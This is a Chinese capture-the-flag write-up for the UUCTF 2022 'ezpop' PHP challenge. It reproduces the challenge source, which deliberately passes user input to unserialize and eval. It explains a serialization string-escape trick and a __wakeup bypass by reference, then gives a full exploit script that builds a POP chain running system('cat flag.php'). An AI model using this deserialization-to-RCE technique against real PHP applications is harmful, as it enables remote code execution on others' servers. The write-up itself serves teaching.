[UUCTF 2022 新生赛]ezpop

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

分析

从后往前面看

1
2
3
str_replace() 
//在本题中的意思是在$data查找hacker,并用loveuu!替换掉hacker
//由这个部分可以知道这题是php反序列化中的字符串逃逸

字符串逃逸可以看看这篇博客:http://t.csdn.cn/BGnnW

字符串逃逸的在我看来就是类中有一个对象是可控的,那么就可以利用这个可控的对象给其他的对象赋值

序列化的结果中会包含有对象值的长度,那么本题利用str_replace函数,使得hacker(6个字符),变成loveuu!(7个字符),将构造出来的

1
2
";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}
//将这部分顶替掉,那么不会影响后续内容的反序列化,此时key的值就会变成UUCTF

本题的另外一个考点在于__wakeup的绕过,由于这里php版本是7.2.34,不能利用更改参数个数绕过

利用引用绕过

1
2
3
4
5
6
$a->a=&$a->b;
//这里将nothing类中的a和b变成同一个引用,这样修改b的值,a也会发生改变
//也就是
$a->t=new output();
$this->b=$this->t;
//这样a=new output(),触发__toString()

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);

class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
}
class output{
public $a;
function __toString(){
$this->a->rce(); //到达终点的最后一步
}
}
class nothing{
public $a;
public $b;
public $t;
function __destruct(){
$this->b=$this->t;
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd); //终点
}
}
$a=new nothing();
$a->a=&$a->b;
$a->t=new output();
$a->t->a=new youwant();
$a->t->a->cmd='system("cat flag.php");';
$basedata=base64_encode(serialize($a));
$post='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
for($i=0;$i<strlen($post);$i++)
{
$hacker=$hacker.'hacker';

}
echo $hacker.$post;
?>
Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信